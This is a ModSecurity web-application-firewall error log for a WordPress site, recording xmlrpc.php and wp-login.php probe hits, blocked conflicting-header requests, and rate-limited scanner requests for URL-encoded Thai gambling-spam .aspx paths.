[Tue Jan 27 20:45:36.138000 2026] [:error] [pid 48412:tid 48423] [client 35.231.230.3:61785] [client 35.231.230.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.230.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXizcHbJMfAKlln88JEDIQAAAUk"]
[Tue Jan 27 20:45:38.136530 2026] [:error] [pid 48662:tid 48686] [client 35.231.230.3:57871] [client 35.231.230.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.230.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXizcuD8iESUP9uRiRPzlwAAApI"]
[Tue Jan 27 20:45:40.310829 2026] [:error] [pid 48412:tid 48431] [client 35.231.230.3:51396] [client 35.231.230.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.230.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXizdHbJMfAKlln88JEDJwAAAVE"]
[Tue Jan 27 21:04:09.543969 2026] [:error] [pid 7561:tid 7580] [client 3.224.196.144:45168] [client 3.224.196.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.224.196.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXi3ybXGI6mgvHQqkXzdmAAAANA"]
[Tue Jan 27 21:15:05.086159 2026] [:error] [pid 48528:tid 48547] [client 45.133.4.39:33709] [client 45.133.4.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXi6WQOGRrquT9N7CZp4nAAAAhE"]
[Tue Jan 27 21:15:05.086357 2026] [:error] [pid 48528:tid 48551] [client 45.133.4.33:40181] [client 45.133.4.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXi6WQOGRrquT9N7CZp4nQAAAhU"]
[Tue Jan 27 21:19:42.577373 2026] [:error] [pid 48412:tid 48417] [client 165.227.48.141:33640] [client 165.227.48.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.48.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXi7bnbJMfAKlln88JEKTQAAAUM"]
[Tue Jan 27 21:30:29.335060 2026] [:error] [pid 7453:tid 7498] [client 49.235.136.28:49192] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXi99RfsyA2ws_ADquip3gAAAEk"]
[Tue Jan 27 21:58:08.389329 2026] [:error] [pid 48446:tid 48482] [client 45.133.4.13:54711] [client 45.133.4.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXjEcMDRSaZ8F8aaLxmpswAAAcU"]
[Tue Jan 27 22:01:57.024970 2026] [:error] [pid 38987:tid 38992] [client 194.233.94.242:55418] [client 194.233.94.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.94.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjFVaTH0bU76Ifu_Xc3ygAAAAI"]
[Tue Jan 27 22:42:22.112242 2026] [:error] [pid 48662:tid 48673] [client 104.248.5.114:59865] [client 104.248.5.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.5.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXjOzuD8iESUP9uRiRP_ygAAAoU"]
[Tue Jan 27 22:42:24.888812 2026] [:error] [pid 38987:tid 39009] [client 104.248.5.114:60109] [client 104.248.5.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.5.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXjO0KTH0bU76Ifu_Xc8iAAAABM"]
[Tue Jan 27 22:45:42.865506 2026] [:error] [pid 39016:tid 39033] [client 47.128.204.88:52598] [client 47.128.204.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.128.204.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjPlvB6_y9crthwy8q7GgAAAsw"]
[Tue Jan 27 23:04:55.063774 2026] [:error] [pid 7454:tid 7527] [client 59.125.102.227:34010] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjUF5ltCoZEfMmfl8AvDQAAAIs"]
[Tue Jan 27 23:26:09.179938 2026] [:error] [pid 48412:tid 48431] [client 45.133.4.40:30565] [client 45.133.4.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.4.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXjZEXbJMfAKlln88JEqEAAAAVE"]
[Tue Jan 27 23:27:41.271604 2026] [:error] [pid 7561:tid 7580] [client 116.203.27.22:37524] [client 116.203.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.203.27.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjZbbXGI6mgvHQqkXzuagAAANA"]
[Tue Jan 27 23:30:00.171202 2026] [:error] [pid 7453:tid 7498] [client 217.182.195.233:55548] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87168.aspx"] [unique_id "aXjZ-BfsyA2ws_ADqui-2QAAAEk"]
[Tue Jan 27 23:30:02.319824 2026] [:error] [pid 48446:tid 48500] [client 217.182.195.233:36844] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXjZ-sDRSaZ8F8aaLxm4VAAAAdY"]
[Tue Jan 27 23:30:04.451172 2026] [:error] [pid 7453:tid 7504] [client 217.182.195.233:36850] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81.aspx"] [unique_id "aXjZ_BfsyA2ws_ADqui-4QAAAE8"]
[Tue Jan 27 23:30:06.515690 2026] [:error] [pid 7453:tid 7493] [client 217.182.195.233:36866] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXjZ_hfsyA2ws_ADqui-4wAAAEQ"]
[Tue Jan 27 23:30:08.675973 2026] [:error] [pid 48528:tid 48543] [client 217.182.195.233:36876] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C168.aspx"] [unique_id "aXjaAAOGRrquT9N7CZqH_QAAAg0"]
[Tue Jan 27 23:30:10.641118 2026] [:error] [pid 7453:tid 7507] [client 217.182.195.233:39928] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%9B%E0%B8%A310%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXjaAhfsyA2ws_ADqui-5AAAAFI"]
[Tue Jan 27 23:30:12.696224 2026] [:error] [pid 48412:tid 48433] [client 217.182.195.233:39930] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXjaBHbJMfAKlln88JEqtwAAAVM"]
[Tue Jan 27 23:30:14.765289 2026] [:error] [pid 7453:tid 7502] [client 217.182.195.233:39936] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjaBhfsyA2ws_ADqui-6gAAAE0"]
[Tue Jan 27 23:30:16.958431 2026] [:error] [pid 48446:tid 48486] [client 217.182.195.233:39940] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9520%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXjaCMDRSaZ8F8aaLxm4WAAAAck"]
[Tue Jan 27 23:30:19.258558 2026] [:error] [pid 7453:tid 7513] [client 217.182.195.233:39948] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9524.aspx"] [unique_id "aXjaCxfsyA2ws_ADqui-8QAAAFg"]
[Tue Jan 27 23:30:21.295460 2026] [:error] [pid 48412:tid 48428] [client 217.182.195.233:46410] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95789.aspx"] [unique_id "aXjaDXbJMfAKlln88JEqwwAAAU4"]
[Tue Jan 27 23:30:23.334459 2026] [:error] [pid 48662:tid 48671] [client 217.182.195.233:46412] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker.aspx"] [unique_id "aXjaD-D8iESUP9uRiRMEOgAAAoM"]
[Tue Jan 27 23:30:25.532436 2026] [:error] [pid 48412:tid 48421] [client 217.182.195.233:46420] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo%20888.aspx"] [unique_id "aXjaEXbJMfAKlln88JEqyAAAAUc"]
[Tue Jan 27 23:30:27.615606 2026] [:error] [pid 48446:tid 48483] [client 217.182.195.233:46432] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjaE8DRSaZ8F8aaLxm4WwAAAcY"]
[Tue Jan 27 23:30:29.729942 2026] [:error] [pid 39017:tid 39059] [client 217.182.195.233:46442] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%89%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjaFc553xt-F_10bG68_gAAAws"]
[Tue Jan 27 23:30:31.707495 2026] [:error] [pid 48446:tid 48487] [client 217.182.195.233:59636] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%87%E0%B9%82%E0%B8%9B%E0%B9%89%E0%B8%AA%E0%B8%B2%E0%B8%A7%E0%B8%AA%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXjaF8DRSaZ8F8aaLxm4XQAAAco"]
[Tue Jan 27 23:30:33.733810 2026] [:error] [pid 38987:tid 39012] [client 217.182.195.233:59650] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%2024.aspx"] [unique_id "aXjaGaTH0bU76Ifu_XdDAwAAABY"]
[Tue Jan 27 23:30:35.842622 2026] [:error] [pid 48412:tid 48426] [client 217.182.195.233:59666] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AE%E0%B8%B2%E0%B8%99%E0%B8%AD%E0%B8%A2%E0%B8%9E%E0%B8%B4%E0%B9%80%E0%B8%A8%E0%B8%A9%20ruay.aspx"] [unique_id "aXjaG3bJMfAKlln88JEq3AAAAUw"]
[Tue Jan 27 23:30:37.887147 2026] [:error] [pid 7453:tid 7509] [client 217.182.195.233:59682] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B9%81%E0%B8%81%E0%B8%A3%E0%B8%99%E0%B8%94%E0%B9%8C%E0%B8%94%E0%B8%A3%E0%B8%B2%E0%B8%81%E0%B9%89%E0%B8%AD%E0%B8%99%204d.aspx"] [unique_id "aXjaHRfsyA2ws_ADqui_BAAAAFQ"]
[Tue Jan 27 23:30:40.018483 2026] [:error] [pid 7453:tid 7494] [client 217.182.195.233:59688] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXjaIBfsyA2ws_ADqui_BwAAAEU"]
[Tue Jan 27 23:30:42.164874 2026] [:error] [pid 7454:tid 7534] [client 217.182.195.233:49770] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjaIpltCoZEfMmfl8AxrgAAAJI"]
[Tue Jan 27 23:30:44.394807 2026] [:error] [pid 48446:tid 48502] [client 217.182.195.233:49776] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjaJMDRSaZ8F8aaLxm4YwAAAdg"]
[Tue Jan 27 23:30:46.681877 2026] [:error] [pid 48446:tid 48478] [client 217.182.195.233:49780] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjaJsDRSaZ8F8aaLxm4ZgAAAcE"]
[Tue Jan 27 23:30:48.837454 2026] [:error] [pid 48446:tid 48500] [client 217.182.195.233:49792] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777.aspx"] [unique_id "aXjaKMDRSaZ8F8aaLxm4aQAAAdY"]
[Tue Jan 27 23:30:50.873741 2026] [:error] [pid 48662:tid 48676] [client 217.182.195.233:45556] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www.ufabet.com%20%E0%B8%A5%E0%B8%B4%E0%B9%89%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A24.aspx"] [unique_id "aXjaKuD8iESUP9uRiRMERQAAAog"]
[Tue Jan 27 23:35:26.108643 2026] [:error] [pid 7561:tid 7579] [client 206.81.27.187:34320] [client 206.81.27.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.27.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjbPrXGI6mgvHQqkXzvPwAAAM8"]
[Tue Jan 27 23:48:54.485375 2026] [:error] [pid 48446:tid 48494] [client 49.51.52.250:46822] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXjeZsDRSaZ8F8aaLxm7aAAAAdA"]
[Wed Jan 28 00:12:25.531879 2026] [:error] [pid 24427:tid 24508] [client 109.199.108.120:47646] [client 109.199.108.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.199.108.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXjj6U5-wqSNb5f_hOLl6AAAAZc"]
[Wed Jan 28 00:47:10.941725 2026] [:error] [pid 24426:tid 24478] [client 51.83.11.108:51246] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97%E0%B8%81%E0%B9%87%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXjsDvbw8B_M5J5XrXTsGwAAAVQ"]
[Wed Jan 28 00:47:12.820990 2026] [:error] [pid 24427:tid 24497] [client 51.83.11.108:41876] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXjsEE5-wqSNb5f_hOLwuAAAAYw"]
